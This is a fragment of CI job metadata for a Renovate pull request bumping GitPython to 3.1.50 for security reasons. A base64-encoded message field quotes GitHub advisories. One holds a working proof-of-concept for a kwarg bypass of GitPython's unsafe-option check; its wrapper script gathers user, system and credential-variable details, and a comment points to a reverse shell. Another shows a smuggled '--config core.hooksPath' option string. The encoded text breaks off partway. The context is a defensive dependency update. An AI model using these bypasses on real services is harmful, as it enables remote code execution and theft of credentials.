          log](https://developer.mend.io/github/osism/pulpfiction).\n<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4xNTkuMiIsInVwZGF0ZWRJblZlciI6IjQzLjE1OS4yIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJyZW5vdmF0ZSJdfQ==-->\n"
        change_url: https://github.com/osism/pulpfiction/pull/10
        commit_id: 00bd2631863b4576cf59cca91d0fbbe0b261efb2
        patchset: 00bd2631863b4576cf59cca91d0fbbe0b261efb2
        project:
          canonical_hostname: github.com
          canonical_name: github.com/osism/pulpfiction
          name: osism/pulpfiction
          short_name: pulpfiction
          src_dir: src/github.com/osism/pulpfiction
        topic: null
      job: pulpfiction-metalbox
      jobtags: []
      max_attempts: 3
      message: Y2hvcmUoZGVwcyk6IHVwZGF0ZSBkZXBlbmRlbmN5IGdpdHB5dGhvbiB0byB2My4xLjUwIFtzZWN1cml0eV0KClRoaXMgUFIgY29udGFpbnMgdGhlIGZvbGxvd2luZyB1cGRhdGVzOgoKfCBQYWNrYWdlIHwgQ2hhbmdlIHwgW0FnZV0oaHR0cHM6Ly9kb2NzLnJlbm92YXRlYm90LmNvbS9tZXJnZS1jb25maWRlbmNlLykgfCBbQ29uZmlkZW5jZV0oaHR0cHM6Ly9kb2NzLnJlbm92YXRlYm90LmNvbS9tZXJnZS1jb25maWRlbmNlLykgfAp8LS0tfC0tLXwtLS18LS0tfAp8IFtHaXRQeXRob25dKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24pIHwgYD09My4xLjQ0YCDihpIgYD09My4xLjUwYCB8ICFbYWdlXShodHRwczovL2RldmVsb3Blci5tZW5kLmlvL2FwaS9tYy9iYWRnZXMvYWdlL3B5cGkvZ2l0cHl0aG9uLzMuMS41MD9zbGltPXRydWUpIHwgIVtjb25maWRlbmNlXShodHRwczovL2RldmVsb3Blci5tZW5kLmlvL2FwaS9tYy9iYWRnZXMvY29uZmlkZW5jZS9weXBpL2dpdHB5dGhvbi8zLjEuNDQvMy4xLjUwP3NsaW09dHJ1ZSkgfAoKLS0tCgojIyMgR2l0UHl0aG9uIGhhcyBDb21tYW5kIEluamVjdGlvbiB2aWEgR2l0IG9wdGlvbnMgYnlwYXNzCltDVkUtMjAyNi00MjIxNV0oaHR0cHM6Ly9udmQubmlzdC5nb3YvdnVsbi9kZXRhaWwvQ1ZFLTIwMjYtNDIyMTUpIC8gW0dIU0EtcnBtNS02NWN3LTZoajRdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9hZHZpc29yaWVzL0dIU0EtcnBtNS02NWN3LTZoajQpCgo8ZGV0YWlscz4KPHN1bW1hcnk+TW9yZSBpbmZvcm1hdGlvbjwvc3VtbWFyeT4KCiMjIyMgRGV0YWlscwojIyMjIyBTdW1tYXJ5CkdpdFB5dGhvbiBibG9ja3MgZGFuZ2Vyb3VzIEdpdCBvcHRpb25zIHN1Y2ggYXMgYC0tdXBsb2FkLXBhY2tgIGFuZCBgLS1yZWNlaXZlLXBhY2tgIGJ5IGRlZmF1bHQsIGJ1dCB0aGUgZXF1aXZhbGVudCBQeXRob24ga3dhcmdzIGB1cGxvYWRfcGFja2AgYW5kIGByZWNlaXZlX3BhY2tgIGJ5cGFzcyB0aGF0IGNoZWNrLiBJZiBhbiBhcHBsaWNhdGlvbiBwYXNzZXMgYXR0YWNrZXItY29udHJvbGxlZCBrd2FyZ3MgaW50byBgUmVwby5jbG9uZV9mcm9tKClgLCBgUmVtb3RlLmZldGNoKClgLCBgUmVtb3RlLnB1bGwoKWAsIG9yIGBSZW1vdGUucHVzaCgpYCwgdGhpcyBsZWFkcyB0byBhcmJpdHJhcnkgY29tbWFuZCBleGVjdXRpb24gZXZlbiB3aGVuIGBhbGxvd191bnNhZmVfb3B0aW9uc2AgaXMgbGVmdCBhdCBpdHMgZGVmYXVsdCB2YWx1ZSBvZiBgRmFsc2VgLgoKIyMjIyMgRGV0YWlscwpHaXRQeXRob24gZXhwbGljaXRseSB0cmVhdHMgaGVscGVyLWNvbW1hbmQgb3B0aW9ucyBhcyB1bnNhZmUgYmVjYXVzZSB0aGV5IGNhbiBiZSB1c2VkIHRvIGV4ZWN1dGUgYXJiaXRyYXJ5IGNvbW1hbmRzOgoKLSBgZ2l0L3JlcG8vYmFzZS5weToxNDUtMTUzYCBtYXJrcyBjbG9uZSBvcHRpb25zIHN1Y2ggYXMgYC0tdXBsb2FkLXBhY2tgLCBgLXVgLCBgLS1jb25maWdgLCBhbmQgYC1jYCBhcyB1bnNhZmUuCi0gYGdpdC9yZW1vdGUucHk6NTM1LTU0OGAgbWFya3MgZmV0Y2gvcHVsbC9wdXNoIG9wdGlvbnMgc3VjaCBhcyBgLS11cGxvYWQtcGFja2AsIGAtLXJlY2VpdmUtcGFja2AsIGFuZCBgLS1leGVjYCBhcyB1bnNhZmUuCgpUaGUgdnVsbmVyYWJsZSBBUEkgcGF0aHMgY2hlY2sgdGhlIHJhdyBrd2FyZyBuYW1lcyBiZWZvcmUgdGhleSdyZSBpdHMgbm9ybWFsaXplZCBpbnRvIGNvbW1hbmQtbGluZSBmbGFnczoKCi0gYFJlcG8uY2xvbmVfZnJvbSgpYCBjaGVja3MgYGxpc3Qoa3dhcmdzLmtleXMoKSlgIGluIGBnaXQvcmVwby9iYXNlLnB5OjEzODctMTM5MGAKLSBgUmVtb3RlLmZldGNoKClgIGNoZWNrcyBgbGlzdChrd2FyZ3Mua2V5cygpKWAgaW4gYGdpdC9yZW1vdGUucHk6MTA3MC0xMDcxYAotIGBSZW1vdGUucHVsbCgpYCBjaGVja3MgYGxpc3Qoa3dhcmdzLmtleXMoKSlgIGluIGBnaXQvcmVtb3RlLnB5OjExMjQtMTEyNWAKLSBgUmVtb3RlLnB1c2goKWAgY2hlY2tzIGBsaXN0KGt3YXJncy5rZXlzKCkpYCBpbiBgZ2l0L3JlbW90ZS5weToxMTk3LTExOThgCgpUaGF0IHZhbGlkYXRpb24gaXMgcGVyZm9ybWVkIGJ5IGBHaXQuY2hlY2tfdW5zYWZlX29wdGlvbnMoKWAgaW4gYGdpdC9jbWQucHk6OTQ4LTk2MWAuIFRoZSB2YWxpZGF0b3IgY29ycmVjdGx5IGJsb2NrcyBvcHRpb24gbmFtZXMgc3VjaCBhcyBgdXBsb2FkLXBhY2tgLCBgcmVjZWl2ZS1wYWNrYCwgYW5kIGBleGVjYC4KCkxhdGVyLCBHaXRQeXRob24gY29udmVydHMgUHl0aG9uIGt3YXJncyBpbnRvIEdpdCBjb21tYW5kLWxpbmUgZmxhZ3MgaW4gYEdpdC50cmFuc2Zvcm1fa3dhcmcoKWAgYXQgYGdpdC9jbWQucHk6MTQ3MS0xNDg0YC4gRHVyaW5nIHRoYXQgc3RlcCwgdW5kZXJzY29yZS1mb3JtIGt3YXJncyBhcmUgZGFzaGlmaWVkOgoKLSBgdXBsb2FkX3BhY2s9Li4uYCBiZWNvbWVzIGAtLXVwbG9hZC1wYWNrPS4uLmAKLSBgcmVjZWl2ZV9wYWNrPS4uLmAgYmVjb21lcyBgLS1yZWNlaXZlLXBhY2s9Li4uYAoKQmVjYXVzZSB0aGUgdW5zYWZlLW9wdGlvbiBjaGVjayBydW5zIGJlZm9yZSB0aGlzIG5vcm1hbGl6YXRpb24sIHVuZGVyc2NvcmUtZm9ybSBrd2FyZ3MgYnlwYXNzIHRoZSBzYWZldHkgY2hlY2sgZXZlbiB0aG91Z2ggdGhleSBiZWNvbWUgdGhlIGV4YWN0IGRhbmdlcm91cyBHaXQgZmxhZ3MgdGhhdCB0aGUgY29kZSBpcyBzdXBwb3NlZCB0byByZWplY3QuCgpJbiBwcmFjdGljZToKCi0gYHJlbW90ZS5mZXRjaCgqKnsidXBsb2FkLXBhY2siOiBoZWxwZXJ9KWAgaXMgYmxvY2tlZCB3aXRoIGBVbnNhZmVPcHRpb25FcnJvcmAKLSBgcmVtb3RlLmZldGNoKHVwbG9hZF9wYWNrPWhlbHBlcilgIGlzIGFsbG93ZWQgYW5kIHJlYWNoZXMgaGVscGVyIGV4ZWN1dGlvbgoKVGhlIHNhbWUgYnlwYXNzIHdvcmtzIGZvcjoKCmBgYHB5dGhvbgpSZXBvLmNsb25lX2Zyb20ob3JpZ2luLCBvdXQsIHVwbG9hZF9wYWNrPWhlbHBlcikKcmVwby5yZW1vdGUoIm9yaWdpbiIpLmZldGNoKHVwbG9hZF9wYWNrPWhlbHBlcikKcmVwby5yZW1vdGUoIm9yaWdpbiIpLnB1bGwodXBsb2FkX3BhY2s9aGVscGVyKQpyZXBvLnJlbW90ZSgib3JpZ2luIikucHVzaChyZWNlaXZlX3BhY2s9aGVscGVyKQpgYGAKClRoaXMgZG9lcyBub3QgYXBwZWFyIHRvIGFmZmVjdCBldmVyeSB1bnNhZmUgb3B0aW9uLiBGb3IgZXhhbXBsZSwgYGV4ZWM9YCBpcyBhbHJlYWR5IHJlamVjdGVkIGJlY2F1c2UgdGhlIHJhdyBrd2FyZyBuYW1lIGBleGVjYCBtYXRjaGVzIHRoZSBibG9ja2VkIG9wdGlvbiBuYW1lIGJlZm9yZSBub3JtYWxpemF0aW9uLgoKRXhpc3RpbmcgdGVzdHMgY292ZXIgdGhlIGh5cGhlbmF0ZWQgZm9ybSwgbm90IHRoZSB2dWxuZXJhYmxlIHVuZGVyc2NvcmUgZm9ybS4gRm9yIGV4YW1wbGU6CgotIGB0ZXN0L3Rlc3RfY2xvbmUucHk6MTI5LTEzNmAgY2hlY2tzIGB7InVwbG9hZC1wYWNrIjogLi4ufWAKLSBgdGVzdC90ZXN0X3JlbW90ZS5weTo4MzAtODMzYCBjaGVja3MgYHsidXBsb2FkLXBhY2siOiAuLi59YAotIGB0ZXN0L3Rlc3RfcmVtb3RlLnB5Ojk2OC05NzVgIGNoZWNrcyBgeyJyZWNlaXZlLXBhY2siOiAuLi59YAoKVGhvc2UgdGVzdHMgY29ycmVjdGx5IGNvbmZpcm0gdGhlIGxpdGVyYWwgR2l0IG9wdGlvbiBuYW1lcyBhcmUgYmxvY2tlZCwgYnV0IHRoZXkgZG8gbm90IGV4ZXJjaXNlIHRoZSBub3JtYWwgUHl0aG9uIGt3YXJnIHNwZWxsaW5nIHRoYXQgYnlwYXNzZXMgdGhlIGd1YXJkLgoKIyMjIyMgUG9DCjEuIENyZWF0ZSBhbmQgYWN0aXZhdGUgYSB2aXJ0dWFsIGVudmlyb25tZW50IGluIHRoZSByZXBvc2l0b3J5IHJvb3Q6CgpgYGBiYXNoCnB5dGhvbjMgLW0gdmVudiAudmVudi1zZWMKLnZlbnYtc2VjL2Jpbi9waXAgaW5zdGFsbCBzZXR1cHRvb2xzIGdpdGRiCnNvdXJjZSAuLy52ZW52LXNlYy9iaW4vYWN0aXZhdGUKYGBgCgoyLiBtYWtlIGEgbmV3IHB5dGhvbiBmaWxlIGFuZCBwdXQgdGhlIGZvbGxvd2luZyBpbiB0aGVyZSwgdGhlbiBydW4gaXQ6CgpgYGBweXRob24KaW1wb3J0IG9zCmltcG9ydCBzdGF0CmltcG9ydCBzdWJwcm9jZXNzCmltcG9ydCB0ZW1wZmlsZQoKZnJvbSBnaXQgaW1wb3J0IFJlcG8KZnJvbSBnaXQuZXhjIGltcG9ydCBVbnNhZmVPcHRpb25FcnJvcgoKIyMjIyMgU2V0dXA6IGNyZWF0ZSBpc29sYXRlZCByZXBvc2l0b3JpZXMgc28gdGhlIFBvQyB1c2VzIGEgbm9ybWFsIGZldGNoIGZsb3cuCmJhc2UgPSB0ZW1wZmlsZS5ta2R0ZW1wKHByZWZpeD0iZ3AtcG9jLXJpc2stIikKb3JpZ2luID0gb3MucGF0aC5qb2luKGJhc2UsICJvcmlnaW4uZ2l0IikKcHJvZHVjZXIgPSBvcy5wYXRoLmpvaW4oYmFzZSwgInByb2R1Y2VyIikKdmljdGltID0gb3MucGF0aC5qb2luKGJhc2UsICJ2aWN0aW0iKQpwcm9vZiA9IG9zLnBhdGguam9pbihiYXNlLCAicHJvb2YudHh0IikKd3JhcHBlciA9IG9zLnBhdGguam9pbihiYXNlLCAid3JhcHBlci5zaCIpCgojIyMjIyBTZXR1cDogdGhpcyB3cmFwcGVyIGlzIGp1c3QgdG8gZGVtbyB0aGluZ3MgeW91IGNhbiBkbywgbm90IHJlcXVpcmVkIGZvciB0aGUgZXhwbG9pdCB0byB3b3JrCgojIyMjIyB5b3UgY291bGQgYWxzbyBkbyBzb21ldGhpbmcgbGlrZSBhbiBTU0ggcmV2ZXJzZSBzaGVsbCwgcmVhbGx5IGFueXRoaW5nCndpdGggb3Blbih3cmFwcGVyLCAidyIpIGFzIGY6CiAgICBmLndyaXRlKGYiIiIjIS9iaW4vc2gKe3sKICBlY2hvICJjb2RlX2V4ZWM9MSIKICBlY2hvICJ3aG9hbWk9JChpZCkiCiAgZWNobyAiY3dkPSQocHdkKSIKICBlY2hvICJ1bmFtZT0kKHVuYW1lIC1hKSIKICBwcmludGYgJ2FyZ3Y9JzsgcHJpbnRmICc8JXM+JyAiJEAmIzgyMDM7IjsgZWNobwogIGVudiB8IGdyZXAgLUUgJ14oSE9NRXxVU0VSfFBBVEh8U1NIX0FVVEhfU09DS3xDSXxHSVRIVUJfVE9LRU58QVdTX3xBWlVSRV98R09PR0xFXyk9JyB8IHNlZCAncy89LiokLz08cmVkYWN0ZWQ+LycgfHwgdHJ1ZQp9fSA+ICd7cHJvb2Z9JwpleGVjIGdpdC11cGxvYWQtcGFjayAiJEAmIzgyMDM7IgoiIiIpCm9zLmNobW9kKHdyYXBwZXIsIHN0YXQuU19JUldYVSkKCnN1YnByb2Nlc3MucnVuKFsiZ2l0IiwgImluaXQiLCAiLS1iYXJlIiwgb3JpZ2luXSwgY2hlY2s9VHJ1ZSwgc3Rkb3V0PXN1YnByb2Nlc3MuREVWTlVMTCkKc3VicHJvY2Vzcy5ydW4oWyJnaXQiLCAiY2xvbmUiLCBvcmlnaW4sIHByb2R1Y2VyXSwgY2hlY2s9VHJ1ZSwgc3Rkb3V0PXN1YnByb2Nlc3MuREVWTlVMTCwgc3RkZXJyPXN1YnByb2Nlc3MuREVWTlVMTCkKCndpdGggb3Blbihvcy5wYXRoLmpvaW4ocHJvZHVjZXIsICJSRUFETUUiKSwgInciKSBhcyBmOgogICAgZi53cml0ZSgieCIpCgpzdWJwcm9jZXNzLnJ1bihbImdpdCIsICItQyIsIHByb2R1Y2VyLCAiYWRkIiwgIlJFQURNRSJdLCBjaGVjaz1UcnVlLCBzdGRvdXQ9c3VicHJvY2Vzcy5ERVZOVUxMKQpzdWJwcm9jZXNzLnJ1bigKICAgIFsiZ2l0IiwgIi1DIiwgcHJvZHVjZXIsICItYyIsICJ1c2VyLm5hbWU9dCIsICItYyIsICJ1c2VyLmVtYWlsPXRAdCIsICJjb21taXQiLCAiLW0iLCAiaW5pdCJdLAogICAgY2hlY2s9VHJ1ZSwKICAgIHN0ZG91dD1zdWJwcm9jZXNzLkRFVk5VTEwsCikKc3VicHJvY2Vzcy5ydW4oWyJnaXQiLCAiLUMiLCBwcm9kdWNlciwgInB1c2giLCAib3JpZ2luIiwgIkhFQUQiXSwgY2hlY2s9VHJ1ZSwgc3Rkb3V0PXN1YnByb2Nlc3MuREVWTlVMTCwgc3RkZXJyPXN1YnByb2Nlc3MuREVWTlVMTCkKc3VicHJvY2Vzcy5ydW4oWyJnaXQiLCAiY2xvbmUiLCBvcmlnaW4sIHZpY3RpbV0sIGNoZWNrPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLkRFVk5VTEwsIHN0ZGVycj1zdWJwcm9jZXNzLkRFVk5VTEwpCgpyZXBvID0gUmVwbyh2aWN0aW0pCnJlbW90ZSA9IHJlcG8ucmVtb3RlKCJvcmlnaW4iKQoKIyMjIyMgdGhlIGxpdGVyYWwgR2l0IG9wdGlvbiBuYW1lIGlzIHByb3Blcmx5IGJsb2NrZWQuCnRyeToKICAgIHJlbW90ZS5mZXRjaCgqKnsidXBsb2FkLXBhY2siOiB3cmFwcGVyfSkKICAgIHByaW50KCJjb250cm9sPXVuZXhwZWN0ZWRfc3VjY2VzcyIpCmV4Y2VwdCBVbnNhZmVPcHRpb25FcnJvcjoKICAgIHByaW50KCJjb250cm9sPWJsb2NrZWQiKQoKIyMjIyMgdGhpcyBpcyB0aGUgYWN0dWFsIHZ1bG5lcmFiaWxpdHkKCiMjIyMjIHlvdSBjYW4gYWxzbyBqdXN0IGRvIHVwbG9hZF9wYWNrPSJ0b3VjaCAvdG1wL3Byb29mIiwgdGhlIHdyYXBwZXIgaXMganVzdCB0byBzaG93IGdyZWF0ZXIgaW1wYWN0CiMjIyMjIGlmIHlvdSBkbyB0aGUgInRvdWNoIC90bXAvcHJvb2YiIHRoZSBzY3JpcHQgd2lsbCBjcmFzaCwgYnV0IHRoZSBmaWxlIHdpbGwgaGF2ZSBiZWVuIGNyZWF0ZWQKcmVtb3RlLmZldGNoKHVwbG9hZF9wYWNrPXdyYXBwZXIpCgojIyMjIyBQcm9vZjogdGhlIGhlbHBlciByYW4gYXMgdGhlIEdpdFB5dGhvbiBob3N0IHByb2Nlc3MuCnByaW50KCJwcm9vZl9leGlzdHMiLCBvcy5wYXRoLmV4aXN0cyhwcm9vZiksIHByb29mKQpwcmludChvcGVuKHByb29mKS5yZWFkKCkpCmBgYAoKMy4gRXhwZWN0ZWQgcmVzdWx0OgoKLSBUaGUgc2NyaXB0IHByaW50cyBgY29udHJvbD1ibG9ja2VkYAotIFRoZSBzY3JpcHQgcHJpbnRzIGBwcm9vZl9leGlzdHMgVHJ1ZSAuLi5gCi0gVGhlIHByb29mIGZpbGUgY29udGFpbnMgZXZpZGVuY2UgdGhhdCB0aGUgYXR0YWNrZXItY29udHJvbGxlZCBoZWxwZXIgZXhlY3V0ZWQgYXMgdGhlIGxvY2FsIGFwcGxpY2F0aW9uIGFjY291bnQsIGluY2x1ZGluZyBgaWRgLCB3b3JraW5nIGRpcmVjdG9yeSwgYXJndiwgYW5kIHNlbGVjdGVkIGVudmlyb25tZW50IHZhcmlhYmxlIG5hbWVzCgpFeGFtcGxlIG91dHB1dDoKCmBgYGJhc2gKR2l0UHl0aG9uICUgcHl0aG9uMyB0ZXN0LnB5CmNvbnRyb2w9YmxvY2tlZApwcm9vZl9leGlzdHMgVHJ1ZSAvdmFyL2ZvbGRlcnMvcDQva2xkbXE0bTEzbmQxOWRoeTdseHM0amZ3MDAwMGduL1QvZ3AtcG9jLXJpc2stYTFvZnRma3UvcHJvb2YudHh0CmNvZGVfZXhlYz0xCndob2FtaT11aWQ9NTAxKHdlcykgZ2lkPTIwKHN0YWZmKSA8cmVkYWN0ZWQ+CmN3ZD0vcHJpdmF0ZS92YXIvZm9sZGVycy9wNC9rbGRtcTRtMTNuZDE5ZGh5N2x4czRqZncwMDAwZ24vVC9ncC1wb2Mtcmlzay1hMW9mdGZrdS92aWN0aW0KdW5hbWU9RGFyd2luICA8cmVkYWN0ZWQ+IERhcndpbiBLZXJuZWwgVmVyc2lvbiAgPHJlZGFjdGVkPjsgcm9vdDp4bnUtMTE0MTcuIDxyZWRhY3RlZD4KYXJndj08L3Zhci9mb2xkZXJzL3A0L2tsZG1xNG0xM25kMTlkaHk3bHhzNGpmdzAwMDBnbi9UL2dwLXBvYy1yaXNrLWExb2Z0Zmt1L29yaWdpbi5naXQ+ClVTRVI9PHJlZGFjdGVkPgpTU0hfQVVUSF9TT0NLPTxyZWRhY3RlZD4KUEFUSD08cmVkYWN0ZWQ+CkhPTUU9PHJlZGFjdGVkPgpgYGAKClRoaXMgUG9DIGRvZXMgbm90IHJlcXVpcmUgYSBtYWxpY2lvdXMgcmVwb3NpdG9yeS4gVGhlIFBvQyB1c2VzIHRoYXQgZnJlc2ggYmxhbmsgcmVwb3NpdG9yeS4gVGhlIG9ubHkgYXR0YWNrZXItY29udHJvbGxlZCBpbnB1dCBpcyB0aGUga3dhcmcgdGhhdCBHaXRQeXRob24gdHVybnMgaW50byBgLS11cGxvYWQtcGFja2AuCgojIyMjIyBJbXBhY3QKV2hvIGlzIGltcGFjdGVkOgotIFdlYiBhcHBsaWNhdGlvbnMgdGhhdCBsZXQgdXNlcnMgY29uZmlndXJlIHJlcG9zaXRvcnkgaW1wb3J0LCBzeW5jLCBtaXJyb3JpbmcsIGZldGNoLCBwdWxsLCBvciBwdXNoIGJlaGF2aW9yCi0gU3lzdGVtcyB0aGF0IGFjY2VwdCBhIHVzZXItcHJvdmlkZWQgZGljdCBvZiAiZXh0cmEgR2l0IG9wdGlvbnMiIGFuZCBwYXNzIGl0IGludG8gR2l0UHl0aG9uIHdpdGggYCoqa3dhcmdzYAotIENJL0NEIHN5c3RlbXMsIHdvcmtlcnMsIGF1dG9tYXRpb24gYm90cywgb3IgaW50ZXJuYWwgdG9vbHMgdGhhdCBidWlsZCBHaXRQeXRob24gY2FsbHMgZnJvbSB1bnRydXN0ZWQgaW50ZWdyYXRpb24gc2V0dGluZ3Mgb3Igam9iIGRlZmluaXRpb25zICh5YW1sLCBqc29uLCBldGMgY29uZmlncyApCgpXaGF0IHRoZSBhdHRhY2tlciBuZWVkcyB0byBjb250cm9sOgoKLSBBIHZhbHVlIHRoYXQgYmVjb21lcyBgdXBsb2FkX3BhY2tgIG9yIGByZWNlaXZlX3BhY2tgIGluIHRoZSBrd2FyZ3MgcGFzc2VkIHRvIGBSZXBvLmNsb25lX2Zyb20oKWAsIGBSZW1vdGUuZmV0Y2goKWAsIGBSZW1vdGUucHVsbCgpYCwgb3IgYFJlbW90ZS5wdXNoKClgCgpGcm9tIGEgc2V2ZXJpdHkgcGVyc3BlY3RpdmUsIHRoaXMgY291bGQgbGVhZCB0bwotIFRoZWZ0IG9mIFNTSCBrZXlzLCBkZXBsb3kgY3JlZGVudGlhbHMsIEFQSSB0b2tlbnMsIG9yIGNsb3VkIGNyZWRlbnRpYWxzIGF2YWlsYWJsZSB0byB0aGUgcHJvY2VzcwotIE1vZGlmaWNhdGlvbiBvZiByZXBvc2l0b3JpZXMsIGJ1aWxkIG91dHB1dHMsIG9yIHJlbGVhc2UgYXJ0aWZhY3RzCi0gTGF0ZXJhbCBtb3ZlbWVudCBmcm9tIENJL0NEIHdvcmtlcnMgb3IgYXV0b21hdGlvbiBob3N0cwotIEZ1bGwgY29tcHJvbWlzZSBvZiB0aGUgd29ya2VyIG9yIHNlcnZpY2UgcHJvY2VzcyBoYW5kbGluZyByZXBvc2l0b3J5IG9wZXJhdGlvbnMKClRoZSBoaWdoZXN0LXJpc2sgZW52aXJvbm1lbnRzIGFyZSBuZXR3b3JrLXJlYWNoYWJsZSBzZXJ2aWNlcyBhbmQgYXV0b21hdGlvbiBzeXN0ZW1zIHRoYXQgZXhwb3NlIHRoZXNlIEdpdFB5dGhvbiBrd2FyZ3MgYWNyb3NzIGEgdHJ1c3QgYm91bmRhcnkgd2hpbGUgcmVseWluZyBvbiB0aGUgZGVmYXVsdCB1bnNhZmUtb3B0aW9uIGd1YXJkIGZvciBwcm90ZWN0aW9uLgoKIyMjIyBTZXZlcml0eQotIENWU1MgU2NvcmU6IDguOCAvIDEwIChIaWdoKQotIFZlY3RvciBTdHJpbmc6IGBDVlNTOjMuMS9BVjpOL0FDOkwvUFI6TC9VSTpOL1M6VS9DOkgvSTpIL0E6SGAKCiMjIyMgUmVmZXJlbmNlcwotIFtodHRwczovL2dpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3NlY3VyaXR5L2Fkdmlzb3JpZXMvR0hTQS1ycG01LTY1Y3ctNmhqNF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9zZWN1cml0eS9hZHZpc29yaWVzL0dIU0EtcnBtNS02NWN3LTZoajQpCi0gW2h0dHBzOi8vbnZkLm5pc3QuZ292L3Z1bG4vZGV0YWlsL0NWRS0yMDI2LTQyMjE1XShodHRwczovL252ZC5uaXN0Lmdvdi92dWxuL2RldGFpbC9DVkUtMjAyNi00MjIxNSkKLSBbaHR0cHM6Ly9naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9yZWxlYXNlcy90YWcvMy4xLjQ3XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3JlbGVhc2VzL3RhZy8zLjEuNDcpCi0gW2h0dHBzOi8vZ2l0aHViLmNvbS9hZHZpc29yaWVzL0dIU0EtcnBtNS02NWN3LTZoajRdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9hZHZpc29yaWVzL0dIU0EtcnBtNS02NWN3LTZoajQpCgpUaGlzIGRhdGEgaXMgcHJvdmlkZWQgYnkgdGhlIFtHaXRIdWIgQWR2aXNvcnkgRGF0YWJhc2VdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9hZHZpc29yaWVzL0dIU0EtcnBtNS02NWN3LTZoajQpIChbQ0MtQlkgNC4wXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0aHViL2Fkdmlzb3J5LWRhdGFiYXNlL2Jsb2IvbWFpbi9MSUNFTlNFLm1kKSkuCjwvZGV0YWlscz4KCi0tLQoKIyMjIEdpdFB5dGhvbjogVW5zYWZlIG9wdGlvbiBjaGVjayB2YWxpZGF0ZXMgbXVsdGlfb3B0aW9ucyBiZWZvcmUgc2hsZXguc3BsaXQgdHJhbnNmb3JtYXRpb24KW0NWRS0yMDI2LTQyMjg0XShodHRwczovL252ZC5uaXN0Lmdvdi92dWxuL2RldGFpbC9DVkUtMjAyNi00MjI4NCkgLyBbR0hTQS14MnF4LTY5NTMtODQ4NV0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2Fkdmlzb3JpZXMvR0hTQS14MnF4LTY5NTMtODQ4NSkKCjxkZXRhaWxzPgo8c3VtbWFyeT5Nb3JlIGluZm9ybWF0aW9uPC9zdW1tYXJ5PgoKIyMjIyBEZXRhaWxzCiMjIyMjIFN1bW1hcnkKCmBfY2xvbmUoKWAgdmFsaWRhdGVzIGBtdWx0aV9vcHRpb25zYCBhcyB0aGUgb3JpZ2luYWwgbGlzdCwgdGhlbiBleGVjdXRlcyBgc2hsZXguc3BsaXQoIiAiLmpvaW4obXVsdGlfb3B0aW9ucykpYC4gQSBzdHJpbmcgbGlrZSBgIi0tYnJhbmNoIG1haW4gLS1jb25maWcgY29yZS5ob29rc1BhdGg9L3giYCBwYXNzZXMgdmFsaWRhdGlvbiAoc3RhcnRzIHdpdGggYC0tYnJhbmNoYCksIGJ1dCBhZnRlciBzcGxpdCBiZWNvbWVzIGBbIi0tYnJhbmNoIiwgIm1haW4iLCAiLS1jb25maWciLCAiY29yZS5ob29rc1BhdGg9L3giXWAuIEdpdCBhcHBsaWVzIHRoZSBjb25maWcgYW5kIGV4ZWN1dGVzIGF0dGFja2VyIGhvb2tzIGR1cmluZyBjbG9uZS4KCiMjIyMjIERldGFpbHMKClRoZSB2dWxuZXJhYmxlIGNvZGUgaXMgaW4gW2BnaXQvcmVwby9iYXNlLnB5YCBsaW5lIDEzODNdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vYmxvYi81OTM3ZDE0YTJjNWU1MzJmY2IzZWNlMGY0NWJmNzVlNWJmMTg1MzllL2dpdC9yZXBvL2Jhc2UucHkjTDEzODMpOgpgYGBweXRob24KbXVsdGkgPSBzaGxleC5zcGxpdCgiICIuam9pbihtdWx0aV9vcHRpb25zKSkKYGBgCgpUaGVuIHZhbGlkYXRpb24gcnVucyBvbiB0aGUgKipvcmlnaW5hbCoqIGxpc3QgYXQgW2xpbmUgMTM5MF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9ibG9iLzU5MzdkMTRhMmM1ZTUzMmZjYjNlY2UwZjQ1YmY3NWU1YmYxODUzOWUvZ2l0L3JlcG8vYmFzZS5weSNMMTM5MCk6CmBgYHB5dGhvbgpHaXQuY2hlY2tfdW5zYWZlX29wdGlvbnMob3B0aW9ucz1tdWx0aV9vcHRpb25zLCB1bnNhZmVfb3B0aW9ucz1jbHMudW5zYWZlX2dpdF9jbG9uZV9vcHRpb25zKQpgYGAKClRoZW4gZXhlY3V0aW9uIHVzZXMgdGhlICoqdHJhbnNmb3JtZWQqKiByZXN1bHQgYXQgW2xpbmUgMTM5Ml0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9ibG9iLzU5MzdkMTRhMmM1ZTUzMmZjYjNlY2UwZjQ1YmY3NWU1YmYxODUzOWUvZ2l0L3JlcG8vYmFzZS5weSNMMTM5Mik6CmBgYHB5dGhvbgpwcm9jID0gZ2l0LmNsb25lKG11bHRpLCAiLS0iLCB1cmwsIHBhdGgsIC4uLikKYGBgCgpUaGUgW2NoZWNrIGF0IGBnaXQvY21kLnB5YCBsaW5lIDk1OV0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9ibG9iLzU5MzdkMTRhMmM1ZTUzMmZjYjNlY2UwZjQ1YmY3NWU1YmYxODUzOWUvZ2l0L2NtZC5weSNMOTU5KSB1c2VzIGBzdGFydHN3aXRoYDoKY